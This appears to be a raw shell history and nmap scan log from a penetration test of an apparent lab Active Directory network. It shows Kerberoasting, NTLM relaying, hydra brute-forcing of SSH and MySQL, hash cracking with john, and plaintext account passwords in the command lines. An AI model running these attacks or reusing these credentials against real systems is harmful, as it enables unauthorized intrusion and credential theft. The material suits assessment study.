_raw:
dnsenum --private 10.0.1.15
dnsenum --private 10.0.1.99
ps
ps aux
top
ls
cd assessment1
ls
mysql --host=10.0.1.15
mysql --host=10.0.1.15 --user=rdavis
mysql --host=10.0.1.15 --user=rdavis --password=Sail@way!
ls
clear
nxc ldap
impacket-GetUserSPNs allports.tours/user:pass -dc-ip 10.0.1.6 -request
impacket-GetUserSPNs allports.tours/rdavis:rosdav50 -dc-ip 10.0.1.6 -request
impacket-GetUserSPNs APT-DC-01/rdavis:rosdav50 -dc-ip 10.0.1.6 -request
impacket-GetUserSPNs DECKHAND-01/rdavis:rosdav50 -dc-ip 10.0.1.6 -request
impacket-GetUserSPNs DECKHAND-02/rdavis:rosdav50 -dc-ip 10.0.1.6 -request
impacket-GetUserSPNs DECKHAND-02/rdavis:rosdav50 -dc-ip 10.0.1.21 -request
impacket-GetUserSPNs DECKHAND-01/rdavis:rosdav50 -dc-ip 10.0.1.20 -request
nmap -sV 10.0.1/24
ping 161.97.99.49
impacket-GetUserSPNs prod.allports.tours/rdavis:rosdav50 -dc-ip 10.0.1.20 -request
ls
nano nmapA.txt
nxc ldap 10.0.1.6 -u rdavis -p 'rosdav50'
nxc ldap 10.0.1.6 -u rdavis -p 'rosdav50' -kerberoasting
nano etc/hosts
cd ..
nano etc/hosts
sudo nano etc/hosts
cd
ls
cd assessment1
ls
cat password.txt
nmap -p 88,389 --script=ldap-rootdse,smb-os-discovery 10.0.1.6
sudo nmap -sU --top_ports 100 10.0.1.0/24 -Pn
nmap -sU --top_ports 100 10.0.1.0/24 -Pn
nmap -sU --top-ports 100 10.0.1.0/24 -Pn
sudo nmap -sU --top_ports 100 10.0.1.0/24 -Pn
pwd
cd ..
sudo nmap -sU --top_ports 100 10.0.1.0/24 -Pn
ls
cd ..
sudo nmap -sU --top_ports 100 10.0.1.0/24 -Pn
cd
cd assessment1
ls
nxc smb 10.0.1.6 -u 'SVC_STABLIZE' -p '1gyroscope' --shares
idkwhatimdoing
ls
ping chat.allports.tours
ping http://chat.allports.tours
dnsenum 10.0.1.6
pwd
ls
nslookup chat.allports.tours
bloodhound-python -u 'svc_stabilize' -p '1gyroscope' -ns 10.0.1.6 -d allports.local -dc APT-DC-01.allports.local -c All --zip
ls


_raw: : 1760824262:0;john --format=netntlm otherhash --wordlist=/usr/share/wordlists/rockyou.txt


_raw: : 1760824251:0;john --format=netntlm hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt


_raw: : 1760824113:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --remove-mic -smb2support --interactive


_raw: : 1760824098:0;impacket-ntlmrelayx -t ldaps://10.0.1.6 --remove-mic -smb2support --interactive


_raw: : 1760823893:0;hydra -L /usr/share/sqlmap/data/txt/wordlist.txt -p /usr/share/john/password.lst mysql://10.0.1.15:3306 -t 4 -f -V


_raw: : 1760823855:0;hydra -L /usr/share/set/src/fasttrack/wordlist.txt -p /usr/share/john/password.lst mysql://10.0.1.15:3306 -t 4 -f -V


_raw: : 1760823850:0;certipy find -u 'SVC_STABALIZE@APT-DC-01' -p '1gyroscope' -dc-ip 10.0.1.6


_raw: : 1760823842:0;certipy find -u 'SVC_STABALIZE@APT-DC-01' -p '1gyroscope' -dc-ip 10.0.1.6 -domain allports.local


_raw: : 1760823689:0;nxc ldap 10.0.1.6 -u rdavis -p rosdav50 -M group-mem -o GROUP="Domain Admins"


_raw: : 1760823678:0;hydra -L /home/pentester/Downloads/malenamesusatop1000.txt -p /usr/share/john/password.lst mysql://10.0.1.15:3306 -t 4 -f -V


_raw: : 1760823664:0;nxc ldap 10.0.1.6 -u rdavis -p rosdav50 -M group-mem -o GROUP="DnsAdmins"


_raw: : 1760823616:0;impacket-getTGT -dc-ip 10.0.1.6 APT/cloudbase-init:OHg1O74m7GoIrxLJ44BF


_raw: : 1760823606:0;impacket-getTGT -dc-ip 10.0.1.6 ALLPORTS.LOCAL/cloudbase-init:OHg1O74m7GoIrxLJ44BF


_raw: : 1760823561:0;nxc smb 10.0.1.6 -u rdavis -p rosdav50 --groups --local-groups --loggedon-users --sessions


_raw: : 1760823552:0;python3 /usr/lib/python3/dist-packages/nxc/helpers/bloodhound.py -h


_raw: : 1760823541:0;nxc smb 10.0.1.6 -u rdavis -p rosdav50 --groups --local-groups --loggedon-users


_raw: : 1760823526:0;ls unzip r3con_export.zip


_raw: : 1760823524:0;hydra -L /home/pentester/Downloads/414c7adf883f113142c2dde1106c0c4c-aea71a0f1feb8b1733558a21a67665c0e0bbf60c/common_usernames -p /usr/share/john/password.lst mysql://10.0.1.15:3306 -t 4 -f -V


_raw: : 1760823488:0;hydra -L /home/pentester/Downloads/414c7adf883f113142c2dde1106c0c4c-aea71a0f1feb8b1733558a21a67665c0e0bbf60c/common_us-ernames -p /usr/share/john/password.lst mysql://10.0.1.15:3306


_raw:
ip addr
ls
cd Downloads
ls
open versions.nmap


_raw:
|_ssl-date: 2025-10-18T21:37:52+00:00; +2s from scanner time.\
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)\
|_http-server-header: Microsoft-HTTPAPI/2.0\
|_http-title: Not Found\
5986/tcp open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)\
| tls-alpn: \
|_  http/1.1\
|_ssl-date: TLS randomness does not represent time\
| ssl-cert: Subject: commonName=Cloudbase-Init WinRM\
| Issuer: commonName=Cloudbase-Init WinRM\
| Public Key type: rsa\
| Public Key bits: 2048\
| Signature Algorithm: sha1WithRSAEncryption\


_raw:
| Not valid after:  2026-04-15T12:05:17\
| MD5:   76bd:e38b:a5ed:cfca:a443:77bb:b3d8:713f\
|_SHA-1: 60dd:08f9:e8f5:5c33:e028:bd37:200c:028d:5ba6:0552\
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)\
|_http-server-header: Microsoft-HTTPAPI/2.0\
|_http-title: Not Found\
5986/tcp open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)\
|_http-title: Not Found\
| tls-alpn: \
|_  http/1.1\
|_ssl-date: TLS randomness does not represent time\
|_http-server-header: Microsoft-HTTPAPI/2.0\
| ssl-cert: Subject: commonName=Cloudbase-Init WinRM\
| Issuer: commonName=Cloudbase-Init WinRM\
| Public Key type: rsa\
| Public Key bits: 2048\
| Signature Algorithm: sha1WithRSAEncryption\


_raw:
|_ssl-date: 2025-10-18T21:37:51+00:00; +2s from scanner time.\
| ssl-cert: Subject: commonName=Deckhand-01.allports.local\
| Issuer: commonName=Deckhand-01.allports.local\
| Public Key type: rsa\
| Public Key bits: 2048\
| Signature Algorithm: sha256WithRSAEncryption\
| Not valid before: 2025-10-14T12:05:17\


_raw:
clear
gobuster dir -u 10.0.1.14 -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u 10.0.1.11 -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u http://10.0.1.15:8080 -w /usr/share/wordlists/dirb/big.txt
sudo install -m 0755 -d /etc/apt/keyrings
nano /etc/hosts
nano targets.txt
hydra -h
sudo apt install seclists
cd /usr/share/wordlists/seclists
ls
cd Usernames
ls
cd ~
hydra -M targets.txt -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames
hydra -M targets.txt -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames ssh
hydra -M targets.txt -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt -t 4 ssh
hydra -M targets.txt -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-100.txt -t 4 ssh
nmap -h
nmap -vvv -sV -O 10.0.1.0/24
hydra -M targets.txt -L user.txt -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-100000.txt -t 4 ssh
hydra -M targets.txt -L user.txt -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-100.txt -t 4 ssh


_raw: : 1760823444:0;impacket-getTGT -dc-ip 10.0.1.6 ALLPORTS.LOCAL/cloudbase-init:OHg1O74m7GoIrxLJ44BF


_raw:
| Not valid after:  2035-10-13T10:58:17\
| MD5:   3544:7d4c:2dfb:d1b0:9d8d:c0e8:2327:0054\
|_SHA-1: 108b:ac25:08c1:fea3:37c4:aea4:f4dd:649c:7cd1:ddca\
|_http-server-header: Microsoft-HTTPAPI/2.0\
| tls-alpn: \
|_  http/1.1\
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).\
TCP/IP fingerprint:\
OS:SCAN(V=7.95%E=4%D=10/18%OT=53%CT=1%CU=41611%PV=Y%DS=2%DC=T%G=Y%TM=68F408\
OS:B0%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10B%TI=I%CI=I%TS=A)SEQ(SP=\
OS:103%GCD=1%ISR=10E%TI=I%CI=I%TS=A)SEQ(SP=106%GCD=1%ISR=106%TI=I%CI=I%TS=A\
OS:)SEQ(SP=106%GCD=1%ISR=10C%TI=I%CI=I%TS=A)SEQ(SP=F7%GCD=1%ISR=10B%TI=I%CI\
OS:=I%TS=A)OPS(O1=M5B4NW8ST11%O2=M5B4NW8ST11%O3=M5B4NW8NNT11%O4=M5B4NW8ST11\
OS:%O5=M5B4NW8ST11%O6=M5B4ST11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%\
OS:W6=FFDC)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M5B4NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S\
OS:=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%R\
OS:D=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=\
OS:0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID\
OS:=G%RIPCK=G%RUCK=G%RUD=G)IE(R=N)\
\
Uptime guess: 3.435 days (since Wed Oct 15 07:11:56 2025)\
Network Distance: 2 hops\
TCP Sequence Prediction: Difficulty=247 (Good luck!)\
IP ID Sequence Generation: Incremental\
Service Info: Host: APT-DC-01; OS: Windows; CPE: cpe:/o:microsoft:windows\
\
Host script results:\
|_clock-skew: mean: 1s, deviation: 0s, median: 0s\
| smb2-security-mode: \
|   3:1:1: \
|_    Message signing enabled and required\
| smb2-time: \


_raw:
|_  System_Time: 2025-10-18T21:37:22+00:00\
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)\
|_http-title: Not Found\
|_http-server-header: Microsoft-HTTPAPI/2.0\
5986/tcp open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)\
|_http-title: Not Found\
|_ssl-date: TLS randomness does not represent time\
| ssl-cert: Subject: commonName=Cloudbase-Init WinRM\
| Issuer: commonName=Cloudbase-Init WinRM\
| Public Key type: rsa\
| Public Key bits: 2048\
| Signature Algorithm: sha1WithRSAEncryption\
| Not valid before: 2025-10-14T10:58:17\


_raw:
| Not valid after:  2025-11-15T14:27:44\
| MD5:   5299:0ccd:fabd:a8df:0a04:36a7:d9f5:38f1\
|_SHA-1: 6bcd:a6af:297e:f07b:14f7:fdd3:309f:a4d7:e700:2741\
|_ssl-date: TLS randomness does not represent time\
|_http-server-header: CruissantServer\
|_http-title: 404 Not Found\
5001/tcp open  http     Gunicorn\
| http-methods: \
|   Supported Methods: PATCH DELETE OPTIONS PUT HEAD POST GET\
|_  Potentially risky methods: PATCH DELETE PUT\
|_http-title: Site doesn't have a title (application/json).\
|_http-trane-info: Problem with XML parsing of /evox/about\
|_http-favicon: Unknown favicon MD5: CF6CA617F0CCD7D1900762FC5F67A23F\
|_http-server-header: gunicorn\
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\
Device type: general purpose\
Running: Linux 4.X|5.X\
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5\
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14\
Uptime guess: 42.592 days (since Sat Sep  6 03:26:04 2025)\
Network Distance: 2 hops\
TCP Sequence Prediction: Difficulty=249 (Good luck!)\
IP ID Sequence Generation: All zeros\
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\
\
TRACEROUTE (using port 443/tcp)\
HOP RTT     ADDRESS\
1   0.22 ms 10.0.254.254\
2   1.99 ms 10.0.1.14\
\
Nmap scan report for 10.0.1.15\
Host is up (0.0012s latency).\
Not shown: 995 closed tcp ports (reset)\
PORT     STATE SERVICE VERSION\
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)\
| ssh-hostkey: \
|   256 73:5d:6e:3e:8a:43:93:6a:1c:92:1e:3b:9b:93:08:01 (ECDSA)\
|_  256 5f:c7:51:8b:8b:c2:ea:a5:9a:1f:11:86:a5:d7:19:71 (ED25519)\
3306/tcp open  mysql   MySQL 5.7.44\
| ssl-cert: Subject: commonName=MySQL_Server_5.7.44_Auto_Generated_Server_Certificate\
| Issuer: commonName=MySQL_Server_5.7.44_Auto_Generated_CA_Certificate\
| Public Key type: rsa\
| Public Key bits: 2048\
| Signature Algorithm: sha256WithRSAEncryption\
| Not valid before: 2025-10-15T12:00:31\
| Not valid after:  2035-10-13T12:00:31\
| MD5:   43fb:ac9d:2ac6:b813:9e36:4ffa:220f:2b03\
|_SHA-1: 08ef:9dcc:290d:c0d0:4bf6:4b12:2b24:6ac9:fb06:d4ea\
|_ssl-date: TLS randomness does not represent time\
| mysql-info: \
|   Protocol: 10\
|   Version: 5.7.44\
|   Thread ID: 3419\
|   Capabilities flags: 65535\
|   Some Capabilities: Speaks41ProtocolNew, SupportsCompression, LongColumnFlag, SupportsTransactions, IgnoreSpaceBeforeParenthesis, LongPassword, ConnectWithDatabase, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, ODBCClient, SupportsLoadDataLocal, SwitchToSSLAfterHandshake, FoundRows, IgnoreSigpipes, Support41Auth, InteractiveClient, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins\
|   Status: Autocommit\
|   Salt: \x06\x18\x18%>\
| }br(\x05[`1iG\x17kX4\
|_  Auth Plugin Name: mysql_native_password\
8080/tcp open  http    Apache httpd 2.4.25 ((Debian))\
|_http-open-proxy: Proxy might be redirecting requests\
|_http-title: All Ports - Onboard Navigation System\
| http-methods: \
|_  Supported Methods: GET HEAD POST OPTIONS\
|_http-server-header: Apache/2.4.25 (Debian)\
8081/tcp open  http    nginx\
| http-methods: \
|_  Supported Methods: GET HEAD OPTIONS\
|_http-title: Swagger UI\
|_http-cors: GET POST OPTIONS\
8090/tcp open  http    Jetty 9.4.48.v20220622\
|_http-title: Site doesn't have a title (text/html;charset=utf-8).\
|_http-cors: GET POST OPTIONS\
|_http-server-header: Jetty(9.4.48.v20220622)\
| http-methods: \
|_  Supported Methods: OPTIONS\
Device type: general purpose|router\
Running: Linux 5.X, MikroTik RouterOS 7.X\
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3\
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)\
Uptime guess: 19.625 days (since Mon Sep 29 02:37:30 2025)\
Network Distance: 2 hops\
TCP Sequence Prediction: Difficulty=263 (Good luck!)\
IP ID Sequence Generation: All zeros\
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\
\
TRACEROUTE (using port 1025/tcp)\
HOP RTT     ADDRESS\
-   Hop 1 is the same as for 10.0.1.14\
2   4.40 ms 10.0.1.15\
\
Nmap scan report for 10.0.1.20\
Host is up (0.00071s latency).\
Not shown: 994 closed tcp ports (reset)\
PORT     STATE SERVICE       VERSION\
135/tcp  open  msrpc         Microsoft Windows RPC\
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn\
445/tcp  open  microsoft-ds?\
3389/tcp open  ms-wbt-server Microsoft Terminal Services\


_raw:
|     Date: Sat, 18 Oct 2025 21:36:49 GMT\
|     Connection: close\
|     <!DOCTYPE html>\
|     <html lang="en-US">\
|     <head>\
|     <meta charset="utf-8" />\
|     <base href="/" />\
|     <meta name="theme-color" content="#171717" />\
|     <meta name="mobile-web-app-capable" content="yes" />\
|     <meta name="apple-mobile-web-app-capable" content="yes" />\
|     <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />\
|     <meta name="description" content="LibreChat - An open source chat application with support for multiple AI models" />\
|     <title>LibreChat</title>\
|     <link rel="icon" type="image/png" sizes="32x32" href\
|   HTTPOptions, RTSPRequest: \
|     HTTP/1.1 204 No Content\
|     X-Robots-Tag: noindex\
|     Access-Control-Allow-Origin: *\
|     Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE\
|     Vary: Access-Control-Request-Headers\
|     Content-Length: 0\
|     Date: Sat, 18 Oct 2025 21:36:49 GMT\
|     Connection: close\
|   X11Probe: \
|     HTTP/1.1 400 Bad Request\
|_    Connection: close\
|_http-title: LibreChat\
8000/tcp open  http    Uvicorn\
|_http-server-header: uvicorn\
| http-auth: \
| HTTP/1.1 401 Unauthorized\x0D\
|_  Server returned status 401 but no WWW-Authenticate header.\
|_http-title: Site doesn't have a title (application/json).\
8045/tcp open  http    Uvicorn\
|_http-server-header: uvicorn\
|_http-title: Site doesn't have a title (application/json).\
| http-methods: \
|_  Supported Methods: GET HEAD POST OPTIONS\
8081/tcp open  http    Node.js Express framework\
| http-auth: \
| HTTP/1.1 401 Unauthorized\x0D\
|_  Basic realm=Authorization Required\
| http-methods: \
|_  Supported Methods: GET HEAD POST OPTIONS\
|_http-title: Site doesn't have a title.\
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :\
SF-Port80-TCP:V=7.95%I=7%D=10/18%Time=68F40870%P=x86_64-pc-linux-gnu%r(Get\
SF:Request,1434,"HTTP/1\.1\x20200\x20OK\r\nX-Robots-Tag:\x20noindex\r\nAcc\
SF:ess-Control-Allow-Origin:\x20\*\r\nCache-Control:\x20no-cache,\x20no-st\
SF:ore,\x20must-revalidate\r\nPragma:\x20no-cache\r\nExpires:\x200\r\nCont\
SF:ent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x204831\r\n\
SF:ETag:\x20W/\"12df-8ztLYnBf9fwvhg3MbB2KuLXs0Po\"\r\nVary:\x20Accept-Enco\
SF:ding\r\nDate:\x20Sat,\x2018\x20Oct\x202025\x2021:36:49\x20GMT\r\nConnec\
SF:tion:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\">\n\x2\
SF:0\x20<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\"\x20/>\n\x20\x20\
SF:\x20\x20<base\x20href=\"/\"\x20/>\n\x20\x20\x20\x20<meta\x20name=\"them\
SF:e-color\"\x20content=\"#171717\"\x20/>\n\x20\x20\x20\x20<meta\x20name=\\
SF:"mobile-web-app-capable\"\x20content=\"yes\"\x20/>\n\x20\x20\x20\x20<me\
SF:ta\x20name=\"apple-mobile-web-app-capable\"\x20content=\"yes\"\x20/>\n\\
SF:x20\x20\x20\x20<meta\x20name=\"apple-mobile-web-app-status-bar-style\"\\
SF:x20content=\"black-translucent\"\x20/>\n\x20\x20\x20\x20<meta\x20name=\\
SF:"description\"\x20content=\"LibreChat\x20-\x20An\x20open\x20source\x20c\
SF:hat\x20application\x20with\x20support\x20for\x20multiple\x20AI\x20model\
SF:s\"\x20/>\n\x20\x20\x20\x20<title>LibreChat</title>\n\x20\x20\x20\x20<l\
SF:ink\x20rel=\"icon\"\x20type=\"image/png\"\x20sizes=\"32x32\"\x20href")%\
SF:r(HTTPOptions,101,"HTTP/1\.1\x20204\x20No\x20Content\r\nX-Robots-Tag:\x\
SF:20noindex\r\nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control-Allow\
SF:-Methods:\x20GET,HEAD,PUT,PATCH,POST,DELETE\r\nVary:\x20Access-Control-\
SF:Request-Headers\r\nContent-Length:\x200\r\nDate:\x20Sat,\x2018\x20Oct\x\
SF:202025\x2021:36:49\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSPReque\
SF:st,101,"HTTP/1\.1\x20204\x20No\x20Content\r\nX-Robots-Tag:\x20noindex\r\
SF:\nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control-Allow-Methods:\x\
SF:20GET,HEAD,PUT,PATCH,POST,DELETE\r\nVary:\x20Access-Control-Request-Hea\
SF:ders\r\nContent-Length:\x200\r\nDate:\x20Sat,\x2018\x20Oct\x202025\x202\
SF:1:36:49\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(X11Probe,2F,"HTTP/1\\
SF:.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");\
Device type: general purpose|router\
Running: Linux 5.X, MikroTik RouterOS 7.X\
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3\
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)\
Uptime guess: 29.943 days (since Thu Sep 18 18:59:34 2025)\
Network Distance: 2 hops\
TCP Sequence Prediction: Difficulty=259 (Good luck!)\
IP ID Sequence Generation: All zeros\
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\
\
TRACEROUTE (using port 110/tcp)\
HOP RTT     ADDRESS\
-   Hop 1 is the same as for 10.0.1.14\
2   0.74 ms 10.0.1.11\
\
Nmap scan report for 10.0.1.14\
Host is up (0.00099s latency).\
Not shown: 996 filtered tcp ports (no-response)\
PORT     STATE SERVICE  VERSION\
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)\
| ssh-hostkey: \
|   256 5c:17:86:1f:7b:4c:9c:56:a6:76:1e:cd:ef:db:fd:32 (ECDSA)\
|_  256 3a:cc:cc:52:33:72:74:3b:33:54:30:14:2f:64:20:c1 (ED25519)\
80/tcp   open  http     nginx 1.18.0\
|_http-title: Did not follow redirect to https://10.0.1.14/\
| http-methods: \
|_  Supported Methods: GET HEAD POST OPTIONS\
|_http-server-header: CruissantServer\
443/tcp  open  ssl/http nginx 1.18.0\
| ssl-cert: Subject: commonName=*.allports.tours\
| Subject Alternative Name: DNS:*.allports.tours\
| Issuer: commonName=E5/organizationName=Let's Encrypt/countryName=US\
| Public Key type: ec\
| Public Key bits: 256\
| Signature Algorithm: ecdsa-with-SHA384\
| Not valid before: 2025-08-17T14:27:45\


_raw:
Initiating SYN Stealth Scan at 17:36\
Scanning 11 hosts [1000 ports/host]\
Discovered open port 3389/tcp on 10.0.1.21\
Discovered open port 3389/tcp on 10.0.1.20\
Discovered open port 3389/tcp on 10.0.1.6\
Discovered open port 139/tcp on 10.0.1.20\
Discovered open port 139/tcp on 10.0.1.21\
Discovered open port 139/tcp on 10.0.1.6\
Discovered open port 53/tcp on 10.0.1.6\
Discovered open port 53/tcp on 10.0.1.1\
Discovered open port 3306/tcp on 10.0.1.15\
Discovered open port 8080/tcp on 10.0.1.15\
Discovered open port 3306/tcp on 10.0.1.99\
Discovered open port 443/tcp on 10.0.1.99\
Discovered open port 8080/tcp on 10.0.1.99\
Discovered open port 135/tcp on 10.0.1.21\
Discovered open port 135/tcp on 10.0.1.20\
Discovered open port 80/tcp on 10.0.1.11\
Discovered open port 22/tcp on 10.0.1.10\
Discovered open port 22/tcp on 10.0.1.15\
Discovered open port 22/tcp on 10.0.1.30\
Discovered open port 80/tcp on 10.0.1.99\
Discovered open port 135/tcp on 10.0.1.6\
Discovered open port 22/tcp on 10.0.1.11\
Discovered open port 22/tcp on 10.0.1.99\
Discovered open port 445/tcp on 10.0.1.20\
Discovered open port 445/tcp on 10.0.1.21\
Discovered open port 445/tcp on 10.0.1.6\
Discovered open port 8000/tcp on 10.0.1.11\
Discovered open port 3268/tcp on 10.0.1.6\
Discovered open port 389/tcp on 10.0.1.6\
Discovered open port 636/tcp on 10.0.1.6\
Discovered open port 5985/tcp on 10.0.1.20\
Discovered open port 5985/tcp on 10.0.1.21\
Discovered open port 5985/tcp on 10.0.1.6\
Discovered open port 88/tcp on 10.0.1.6\
Discovered open port 464/tcp on 10.0.1.6\
Discovered open port 8090/tcp on 10.0.1.15\
Discovered open port 5986/tcp on 10.0.1.20\
Discovered open port 5986/tcp on 10.0.1.21\
Discovered open port 5986/tcp on 10.0.1.6\
Discovered open port 8081/tcp on 10.0.1.15\
Discovered open port 8081/tcp on 10.0.1.11\
Discovered open port 8045/tcp on 10.0.1.11\
Discovered open port 3269/tcp on 10.0.1.6\
Discovered open port 593/tcp on 10.0.1.6\
Completed SYN Stealth Scan against 10.0.1.10 in 0.40s (10 hosts left)\
Completed SYN Stealth Scan against 10.0.1.15 in 0.40s (9 hosts left)\
Completed SYN Stealth Scan against 10.0.1.20 in 0.40s (8 hosts left)\
Completed SYN Stealth Scan against 10.0.1.21 in 0.40s (7 hosts left)\
Completed SYN Stealth Scan against 10.0.1.1 in 0.40s (6 hosts left)\
Completed SYN Stealth Scan against 10.0.1.6 in 0.40s (5 hosts left)\
Completed SYN Stealth Scan against 10.0.1.11 in 0.40s (4 hosts left)\
Completed SYN Stealth Scan against 10.0.1.30 in 0.40s (3 hosts left)\
Completed SYN Stealth Scan against 10.0.1.99 in 0.40s (2 hosts left)\
Completed SYN Stealth Scan against 10.0.1.254 in 0.40s (1 host left)\
Discovered open port 443/tcp on 10.0.1.14\
Discovered open port 22/tcp on 10.0.1.14\
Discovered open port 80/tcp on 10.0.1.14\
Discovered open port 5001/tcp on 10.0.1.14\
Completed SYN Stealth Scan at 17:36, 4.07s elapsed (11000 total ports)\
Initiating Service scan at 17:36\
Scanning 48 services on 11 hosts\
Completed Service scan at 17:37, 23.27s elapsed (48 services on 11 hosts)\
Initiating OS detection (try #1) against 11 hosts\
Retrying OS detection (try #2) against 4 hosts\
Retrying OS detection (try #3) against 3 hosts\
Retrying OS detection (try #4) against 3 hosts\
Retrying OS detection (try #5) against 3 hosts\
Initiating Traceroute at 17:37\
Completed Traceroute at 17:37, 3.03s elapsed\
Initiating Parallel DNS resolution of 12 hosts. at 17:37\
Completed Parallel DNS resolution of 12 hosts. at 17:37, 0.02s elapsed\
NSE: Script scanning 11 hosts.\
Initiating NSE at 17:37\
Completed NSE at 17:37, 29.21s elapsed\
Initiating NSE at 17:37\
Completed NSE at 17:37, 2.19s elapsed\
Initiating NSE at 17:37\
Completed NSE at 17:37, 0.00s elapsed\
Nmap scan report for 10.0.1.1\
Host is up (0.00049s latency).\
Not shown: 999 closed tcp ports (reset)\
PORT   STATE SERVICE    VERSION\
53/tcp open  tcpwrapped\
Device type: general purpose\
Running: Linux 5.X\
OS CPE: cpe:/o:linux:linux_kernel:5\
OS details: Linux 5.0 - 5.14\
Uptime guess: 10.677 days (since Wed Oct  8 01:22:32 2025)\
Network Distance: 2 hops\
TCP Sequence Prediction: Difficulty=255 (Good luckIP ID Sequence Generation: All zeros\
\
TRACEROUTE (using port 1025/tcp)\
HOP RTT     ADDRESS\
-   Hop 1 is the same as for 10.0.1.14\
2   1.11 ms 10.0.1.1\
\
Nmap scan report for 10.0.1.6\
Host is up (0.00075s latency).\
Not shown: 986 closed tcp ports (reset)\
PORT     STATE SERVICE       VERSION\
53/tcp   open  domain        Simple DNS Plus\
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-18 21:36:49Z)\
135/tcp  open  msrpc         Microsoft Windows RPC\
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn\
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: allports.local0., Site: Default-First-Site-Name)\
445/tcp  open  microsoft-ds?\
464/tcp  open  kpasswd5?\
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\
636/tcp  open  tcpwrapped\
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: allports.local0., Site: Default-First-Site-Name)\
3269/tcp open  tcpwrapped\
3389/tcp open  ms-wbt-server Microsoft Terminal Services\
|_ssl-date: 2025-10-18T21:37:51+00:00; +2s from scanner time.\
| ssl-cert: Subject: commonName=APT-DC-01.allports.local\
| Issuer: commonName=APT-DC-01.allports.local\
| Public Key type: rsa\
| Public Key bits: 2048\
| Signature Algorithm: sha256WithRSAEncryption\


_raw:
: 1760823868:0;echo "Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-18 17:36 EDT\
NSE: Loaded 157 scripts for scanning.\
NSE: Script Pre-scanning.\
Initiating NSE at 17:36\
Completed NSE at 17:36, 0.00s elapsed\
Initiating NSE at 17:36\
Completed NSE at 17:36, 0.00s elapsed\
Initiating NSE at 17:36\
Completed NSE at 17:36, 0.00s elapsed\
Initiating Ping Scan at 17:36\
Scanning 256 hosts [4 ports/host]\
Nmap scan report for 10.0.1.183 [host down]\
Nmap scan report for 10.0.1.184 [host down]\
Nmap scan report for 10.0.1.185 [host down]\
allel DNS resolution of 11 hosts. at 17:36, 0.02s elapsed\
Nmap scan report for 10.0.1.0 [host down]\
Nmap scan report for 10.0.1.2 [host down]\
Nmap scan report for 10.0.1.3 [host down]\
Nmap scan report for 10.0.1.4 [host down]\
